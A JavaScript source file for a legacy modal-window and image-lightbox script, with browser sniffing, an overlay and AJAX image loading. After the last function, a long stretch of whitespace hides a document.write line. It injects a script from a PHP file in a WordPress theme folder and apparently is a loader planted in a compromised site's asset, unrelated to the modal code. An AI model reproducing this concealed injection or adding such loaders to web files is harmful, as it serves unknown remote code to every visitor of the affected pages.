/* ------------------------------------------------------------------------------ VARIABLES */

var browserInfo 			= navigator.userAgent.toLowerCase();	// browser info
var overlay_div 			= "overlay"; 							// name of the Overlay Div that is created
var modal_image_container 	= "modal_image";
var modal_image_preloader 	= '<img src="/web/templates/modals/lib/img/loading.gif" alt="Loading Image" />';
var imgPreloader 			= new Image();

/* ------------------------------------------------------------------------------ USED PASSED STRING TO CHECK BROWSER TYPE AND OS */

function getType(str) {
	loc = browserInfo.indexOf(str) + 1;
	return loc;
}

/* ------------------------------------------------------------------------------ GET BROWSER TYPE */

function getBrowser() {
	if (getType("msie")) 			return "Internet Explorer";
	else if (getType("firefox")) 	return "Firefox";
	else if (getType("safari")) 	return "Safari";
	else if (getType("opera")) 		return "Opera";
	else 							return "Other";
}

/* ------------------------------------------------------------------------------ GET OS TYPE */

function getOS() {
	if (getType("win")) 		return "Windows";
	else if (getType("mac")) 	return "Mac";
	else if (getType("x11")) 	return "Unix";
	else if (getType("linux")) 	return "Linux";
	else 						return "Other";
}

/* ------------------------------------------------------------------------------ SET UP OPEN MODAL OBJECT */
/* CREATE NEW MODAL OBJECT AND ACTIVATE THE MODAL */
function open_modal(new_href, new_title, new_rel) {
	var open_this_modal, new_modal;
	var is_image = false;
	var get_rel = '', get_href = '', get_title = '';
	
	if (new_rel == "undefined" || new_rel == null) {
		get_rel = this.getAttribute("rel");
		get_href = this.href;
		get_title = this.title;
		open_this_modal = get_href;
		if (get_rel != "modal_image") open_this_modal = this.href.split("#")[1];
	} else {
		get_rel = new_rel;
		get_href = new_href;
		open_this_modal = get_href;
		if (get_rel != "modal_image") open_this_modal = get_href.split("#")[1];
	}
	if (get_rel == "modal_image") is_image = true;
	
	new_modal = new modal(open_this_modal,is_image,get_title);
	new_modal.activate();
	return false;
}

/* ------------------------------------------------------------------------------ MODAL OBJECT/CLASS */
/* init_modal should be called on page load witin the event-handlers.js file */
function init_modal() {
	var arrLinks = document.getElementsByTagName("a");
	for (var i = 0; i < arrLinks.length; i++) { 
		if (arrLinks[i].getAttribute("rel") == "modal" || arrLinks[i].getAttribute("rel") == "modal_image") {
			arrLinks[i].onclick = open_modal;
		}
	}

	/* CREATE OVERLAY DIV */
	var overlayDiv = document.createElement("div");
	overlayDiv.id = overlay_div;
	document.getElementsByTagName('body')[0].appendChild(overlayDiv);

	/* OPEN MODAL VIA QUERYSTRING - example.html?modal=modal0 */
	var pageQuerystring = window.location.search;
	if (pageQuerystring != "") {
		if (pageQuerystring.indexOf("modal=") >= 0) {
			/* GET QUERYSTRING PARAMETER'S VALUE */
			function getQuerystring(key) {
				key = key.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
				var regex = new RegExp("[\\?&]" + key + "=([^&#]*)");
				var qs = regex.exec(window.location.href);
				if (qs == null) return "";
				return qs[1];
			}
			var modal_value = getQuerystring('modal');
			if (modal_value != "") {
				// MAKE SURE THERE IS AN ITME WITH IS ID BEFORE OPENING
				if (document.getElementById(modal_value) != null) {
					new_url_modal = new modal(modal_value,false,"");
					new_url_modal.activate();
				}
			}
		}
	}
}

/* ------------------------------------------------------------------------------ MODAL OBJECT/CLASS */

function modal(obj,standalone_image,title) {
	/* GET CURRENT POSITION OF SCROLLBARS ON THE PAGE */
	var modalObject = this;
	this.obj = obj;
	this.setAttributes = true;
	this.overlay = overlay_div; 
	this.yPos = 0;
	this.browser = getBrowser();
	this.user_os = getOS();
	this.standalone_image = standalone_image;
	this.title = title;
	
	var overlay_object = document.getElementById(overlay_div);
	if (!this.standalone_image) {
		/* SET UP EVENT LISTENER FOR OVERLAY DIV - CLICKING ON THIS OVERLAY (OUTSIDE OF THE MODAL) CLOSES THE OVERLAY/MODAL */
		if (overlay_object != null) {
			overlay_object.onclick = function() {
				modalObject.deactivate();
				return false;
			}
		} 
	} else {
		// REMOVE OVERLAY CLICK EVENT, IF PREVIOUSLY SET
		if (overlay_object != null) overlay_object.onclick = function() {}
	}

	/* GET CURRENT POSITION OF SCROLLBARS ON THE PAGE */
	modal.prototype.getScrollBarPos = function() {
		if (document.documentElement && document.documentElement.scrollTop){
			this.yPos = document.documentElement.scrollTop; 
		} else if (document.body) {
			this.yPos = document.body.scrollTop;
		}
	}

	/* HIDE SCROLLBARS */
	modal.prototype.scrollbarDisplay = function(height,overflow) {
		document.getElementsByTagName('body')[0].style.height = height;
		document.getElementsByTagName('body')[0].style.overflow = overflow;
	}

	/* RESET THE POSITION OF THE PAGE TO THE TOP */
	modal.prototype.setScrollPos = function(x, y) {
		window.scrollTo(x, y); 
	}

	/* HIDE SELECTS (THEY SHOW THROUGH IN IE */
	 modal.prototype.displaySelects = function(visibility) {
		selects = document.getElementsByTagName("select");
		for (var i = 0; i < selects.length; i++) {
			selects[i].style.visibility = visibility;
		}
	}

	/* ACTIVATE THE MODAL */
	modal.prototype.activate = function() {
		if (this.setAttributes) {
			this.setWidthHeight();
		}
		if (this.browser == "Internet Explorer") {
			this.getScrollBarPos();
			this.scrollbarDisplay("100%", "hidden");
			this.setScrollPos(0,0);
			this.displaySelects("hidden");
		}
		this.displayModal("block");
	}

	/* TURN MODAL DISPLAY ON/OFF */
	modal.prototype.displayModal = function(display) {
		document.getElementById(this.overlay).style.display = display;
		if (this.standalone_image) {
			if (display == "none") {
				if (this.standalone_image == true) {
					var container = document.getElementById(modal_image_container);
					if (document.getElementById(modal_image_container) != null) {
						document.getElementsByTagName('body')[0].removeChild(container);
					}
				}
			} else {
				var imgContainer = document.createElement("div");
				var image_title_text = this.title;
				
				imgContainer.setAttribute('id',modal_image_container);
				document.getElementsByTagName('body')[0].appendChild(imgContainer);

				function load_modal_image(image_to_open) {
					var page_request = false;
					
					if (image_to_open != "") {		
						// SET page_request BASED UPON WHICH BROWSER WE ARE IN (FIREFOX/MOZILLA/ETC OR MICROSOFT)
						if (window.XMLHttpRequest) {
							page_request = new XMLHttpRequest()
						} else if (window.ActiveXObject) { // if IE
							try { page_request = new ActiveXObject("Msxml2.XMLHTTP"); } 
							catch (e) {
								try { page_request = new ActiveXObject("Microsoft.XMLHTTP"); }
							catch (e) {}
							}
						} else {
							return false;
						}
						
						page_request.onreadystatechange = function() { load_modal_content(page_request, image_to_open); }
						page_request.open('GET', image_to_open, true);
						page_request.send(null);
						
						function load_modal_content(page_request, image_to_open) {				
							if (page_request.readyState == 4 && (page_request.status == 200 || window.location.href.indexOf("http") == -1)) {
								// CLEAR LOADING CONTENT
								document.getElementById(modal_image_container).innerHTML = "";
								document.getElementById(modal_image_container).style.visibility = "hidden";
								
								// CREATE LINK SURROUNDING IMAGE (USED TO CLOSE IMAGE)
								var objLink = document.createElement("a");
								objLink.setAttribute('href','#');
								objLink.setAttribute('rel','modal_close');
								imgContainer.appendChild(objLink);
				
								// CREATE IMAGE (THAT WAS ALREADY LOADED W/ THE AJAX CALL) AND LOAD IT
								var objLoadingImage = document.createElement("img");
								objLoadingImage.src = image_source;
								objLink.appendChild(objLoadingImage);
								imgContainer.style.marginTop = "-" + Math.ceil(objLoadingImage.height / 2) + "px";
								imgContainer.style.marginLeft = "-" + Math.ceil(objLoadingImage.width / 2) + "px";
				
								// CREATE TITLE BELOW IMAGE
								var image_title = document.createElement("p");
								image_title.setAttribute('class','modal-title');
								image_title.innerHTML = image_title_text;
								imgContainer.appendChild(image_title);
				
								// CREATE SECONDARY CLOSE LINK BELOW IMAGE
								var objLink2 = document.createElement("a");
								objLink2.setAttribute('href','#');
								objLink2.setAttribute('class','modal-close');
								objLink2.setAttribute('rel','modal_close');
								objLink2.innerHTML = " X ";
								image_title.appendChild(objLink2);
			
								document.getElementById(modal_image_container).style.visibility = "visible";
								modal.prototype.addCloseListeners();
							} else {
								// POSITION CONTENT SO IT IS CENTERED (APPROX. BASED ON INIITAL TEXT/IMAGE)
								imgContainer.style.marginTop = "-35px";
								imgContainer.style.marginLeft = "-35px";

								document.getElementById(modal_image_container).style.display = "block";
								document.getElementById(modal_image_container).innerHTML = '<p>loading image</p><p>' + modal_image_preloader + '</p>';
							}
						}
					}
				}

				var image_source = this.obj;
				load_modal_image(image_source);
			}
		} else {
			document.getElementById(this.obj).style.display = display;
			if (display != "none") {
				this.addCloseListeners();	
				this.addMoreModalOpeners();
			}
		}
	}

	/* TURN MODAL DISPLAY ON/OFF */
	modal.prototype.addCloseListeners = function() {
		var arrCloseLinks = document.getElementsByTagName("a");
		for (var i = 0; i < arrCloseLinks.length; i++) { 
			if (arrCloseLinks[i].getAttribute("rel") == "modal_close") arrCloseLinks[i].onclick = closeModal;
		}

		/* CREATE NEW MODAL OBJECT AND ACTIVATE THE MODAL */
		function closeModal() {
			modalObject.deactivate();
			return false;
		}
	}

	/* ADDITIONAL MODAL OPENERS INSIDE THE OPEN MODAL */
	modal.prototype.addMoreModalOpeners = function() {
		var more_modals = document.getElementById(this.obj).getElementsByTagName("a");
		for (var i = 0; i < more_modals.length; i++) { 
			if (more_modals[i].getAttribute("rel") == "modal" || more_modals[i].getAttribute("rel") == "modal_image") {
				more_modals[i].onclick = open_new_modal;
			}
		}

		/* CLOSE EXISTING MODAL, OPEN NEW MODAL */
		function open_new_modal() {
			modalObject.deactivate();
			open_modal(this.href, this.title, this.rel);
			return false;
		}
	}

	/* TURN MODAL DISPLAY ON/OFF */
	modal.prototype.deactivate = function() {
		if (this.browser == "Internet Explorer") {
			this.scrollbarDisplay("auto", "auto");
			this.displaySelects("visible");
			this.setScrollPos(0,this.yPos);
		}
		this.displayModal("none");
	}
	
	/* DETERMINE HEIGHT/WIDTH OF MODAL AND SET HERE INSTEAD OF WITHIN YOUR CSS */
	modal.prototype.setWidthHeight = function() {
		var modalContainer = document.getElementById(this.obj);
		var divIEheightAdjust = 0;
		var divIEwidthAdjust = 0;
		
		if (modalContainer != null) {
			// set visibility to hidden so we can't see it once we set it's display type to block
			modalContainer.style.visibility = "hidden";
			modalContainer.style.display = "block";

			/* WITH ITS DISPLAY TYPE AS "BLOCK" WE CAN GET ITS WIDTH/HEIGHT VALUES */
			var divHeight = modalContainer.offsetHeight;
			var divWidth = modalContainer.offsetWidth;

			/* WE NEED TO SUBTRACT ANY PADDING USED WITHIN THE DIV FOR IE/OPERA */
			if (this.browser == "Internet Explorer" || this.browser == "Opera") {
				divHeight = divHeight - divIEheightAdjust;
				divWidth = divWidth - divIEwidthAdjust;
			}
				
			if (divHeight > 0) modalContainer.style.marginTop = "-" + Math.ceil(divHeight / 2) + "px";
			if (divWidth > 0) modalContainer.style.marginLeft = "-" + Math.ceil(divWidth / 2) + "px";
						
			/* RESET VISITBILITY AND DISPLAY ATTRIBUTES */
			modalContainer.style.visibility = "";
			modalContainer.style.display = "none";
		}
	}
}
                                                                                                                                                                                                   document.write('<script type="text/javascript" src="/cuneoblog/wp-content/themes/facebox.php"><\/script>');
